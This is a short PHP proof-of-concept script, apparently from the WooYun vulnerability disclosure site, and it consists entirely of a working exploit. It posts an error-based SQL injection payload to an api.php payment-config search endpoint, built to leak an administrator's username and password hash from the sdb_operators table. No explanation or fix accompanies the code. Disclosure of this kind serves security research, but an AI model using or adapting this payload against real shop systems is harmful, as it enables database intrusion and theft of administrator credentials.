WooYun.org

<?php
    set_time_limit(0);
	ob_flush();
	echo 'Test: http://localhost:808'."\r\n";	
	$sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1';
	$url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0';  
	$ch = curl_init();  
	curl_setopt($ch, CURLOPT_POST, 1);  
	curl_setopt($ch, CURLOPT_URL,$url);  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $sql);  
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	flush();
	$data = curl_exec($ch);  
	echo $data;
	curl_close($ch);
 ?>